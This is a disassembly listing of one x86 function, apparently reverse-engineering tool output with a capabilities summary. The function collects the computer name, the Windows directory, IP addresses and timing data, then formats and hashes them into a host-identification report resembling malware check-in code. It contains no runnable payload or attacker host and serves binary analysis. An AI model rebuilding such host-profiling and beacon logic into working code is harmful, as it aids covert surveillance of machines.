Function at 0x401ff0
Capabilities:
Get common file path
Get hostname
Print debug messages

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4c56f8
push eax
mov dword fs:[0], esp
sub esp, 0x848
push str.ONacTimer_1________
push 0x4e8168
push 0xf
push 0x4fe0bc
call fcn.0040c000
push 0x4fa448
call fcn.004016e0
add esp, 0x14
test eax, eax
je 0x4023d8
mov eax, dword [0x4fa44c]
push ebx
push ebp
push esi
push edi
push eax
call sub.WSOCK32.dll_htonl
push eax
push str.ONacTimer_2___08x_
push 0x4e8168
push 0xf
push 0x4fe0bc
mov dword [esp + 0x54], eax
call fcn.0040c000
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x46d]
mov byte [esp + 0x46c], 0
rep stosd dword es:[edi], eax
add esp, 0x14
lea ecx, [esp + 0x38]
stosw word es:[edi], ax
lea edx, [esp + 0x458]
push ecx
push edx
mov dword [esp + 0x40], 0x400
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov ebp, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
test eax, eax
jne 0x4020aa
push str.GetComputerName_error
call ebp
lea eax, [esp + 0x458]
lea ecx, [esp + 0x20]
push eax
call fcn.00430d20
mov ecx, dword [eax]
xor ebx, ebx
push ecx
push str.ONacTimer_3___s_
push 0x4e8168
push 0xf
push 0x4fe0bc
mov dword [esp + 0x874], ebx
call fcn.0040c000
or esi, 0xffffffff
add esp, 0x14
lea ecx, [esp + 0x20]
mov dword [esp + 0x860], esi
call fcn.004316a0
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x59]
mov byte [esp + 0x58], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x58]
push 0x400
push edx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
jne 0x402122
push str.GetWindowsDirectory_error
call ebp
lea eax, [esp + 0x58]
mov byte [esp + 0x5b], 0
push eax
call fcn.00446780
add esp, 4
lea ecx, [esp + 0x58]
mov edi, eax
push ecx
lea ecx, [esp + 0x24]
call fcn.00430d20
mov edx, dword [eax]
push edi
push edx
push 0x4e89d4
push 0x4e8168
push 0xf
push 0x4fe0bc
mov dword [esp + 0x878], 1
call fcn.0040c000
add esp, 0x18
lea ecx, [esp + 0x20]
mov dword [esp + 0x860], esi
call fcn.004316a0
lea eax, [esp + 0x24]
push eax
call fcn.004a8a60
mov ebp, dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
shr edx, 6
mov esi, ebp
lea ecx, [esp + 0x44]
sub esi, edx
call fcn.004a9c2b
lea edx, [esp + 0x44]
mov dword [esp + 0x860], 2
push edx
call fcn.00401710
mov eax, dword [0x4e9c8c]
add esp, 4
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x4c]
mov byte [esp + 0x860], 3
test eax, eax
jle 0x40220c
test ebx, ebx
je 0x4021ec
push 0x4e89d0
lea ecx, [esp + 0x18]
call fcn.004ab891
mov ecx, dword [esp + 0x48]
mov eax, dword [ecx + ebx*4]
push eax
call sub.WSOCK32.dll_inet_ntoa
push eax
lea ecx, [esp + 0x18]
call fcn.004ab891
mov eax, dword [esp + 0x4c]
inc ebx
cmp ebx, eax
jl 0x4021da
mov edx, dword [0x4e9c8c]
mov dword [esp + 0x10], edx
mov eax, dword [esp + 0x14]
mov bl, 4
push eax
mov byte [esp + 0x864], bl
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [esp + 0x44]
push eax
push esi
push edi
push ecx
call sub.WSOCK32.dll_inet_ntoa
mov edx, dword [0x4fa458]
mov ecx, dword [0x4fa454]
push eax
mov eax, dword [0x4fa450]
push edx
mov edx, dword [0x4fa448]
push eax
push ecx
lea eax, [esp + 0x478]
push edx
push eax
push ebp
lea ecx, [esp + 0x3c]
push str.Ver1_r_nTime_08x_r_nComputer_s_r_nAID_d_r_nPID_d_r_nGID_d_r_nBOffline_d_r_nSIP_s_r_nSysVol_08x_r_nBTime_08x_r_nBNum_08x_r_nAIP_s_r_n
push ecx
call fcn.004a8555
mov edx, dword [esp + 0x44]
add esp, 0x34
lea ecx, [esp + 0x3c]
push edx
call fcn.00430d20
mov eax, dword [eax]
mov byte [esp + 0x860], 5
push eax
push 0x4e8930
push 0x4e8168
push 0xf
push 0x4fe0bc
call fcn.0040c000
add esp, 0x14
lea ecx, [esp + 0x3c]
mov byte [esp + 0x860], bl
call fcn.004316a0
xor ecx, ecx
mov edx, dword [esp + 0x10]
mov dword [esp + 0x29], ecx
mov byte [esp + 0x28], 0
mov dword [esp + 0x2d], ecx
mov dword [esp + 0x31], ecx
mov word [esp + 0x35], cx
mov byte [esp + 0x37], cl
mov eax, dword [edx - 8]
lea ecx, [esp + 0x28]
push ecx
push eax
push 0
lea ecx, [esp + 0x1c]
call fcn.004ab8e5
push eax
mov edi, 0x4e892c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4e892c
push 1
call fcn.00447640
mov edx, dword [0x4e9c8c]
mov dword [esp + 0x1c], edx
lea eax, [esp + 0x1c]
mov byte [esp + 0x860], 6
push eax
push 0x10
lea ecx, [esp + 0x30]
push ecx
call fcn.00448c30
mov edx, dword [0x4e9c8c]
add esp, 0xc
mov dword [esp + 0x18], edx
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
push eax
push ecx
lea edx, [esp + 0x20]
push str._sMHASH_s_r_n
push edx
mov byte [esp + 0x870], 7
call fcn.004a8555
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x87c]
add esp, 0x10
mov eax, dword [eax - 8]
push ecx
push eax
push 0
lea ecx, [esp + 0x24]
call fcn.004ab8e5
mov ecx, dword [esp + 0x870]
push eax
call fcn.00403090
lea ecx, [esp + 0x18]
mov byte [esp + 0x860], 6
call fcn.004ab4b5
lea ecx, [esp + 0x1c]
mov byte [esp + 0x860], bl
call fcn.004ab4b5
lea ecx, [esp + 0x10]
mov byte [esp + 0x860], 3
call fcn.004ab4b5
lea ecx, [esp + 0x14]
mov byte [esp + 0x860], 2
call fcn.004ab4b5
lea ecx, [esp + 0x44]
mov dword [esp + 0x860], 0xffffffff
call fcn.004a9c5e
pop edi
pop esi
pop ebp
pop ebx
push str.ONacTimer_6___
push 0x4e8168
push 0xf
push 0x4fe0bc
call fcn.0040c000
mov ecx, dword [esp + 0x858]
mov dword fs:[0], ecx
add esp, 0x864
ret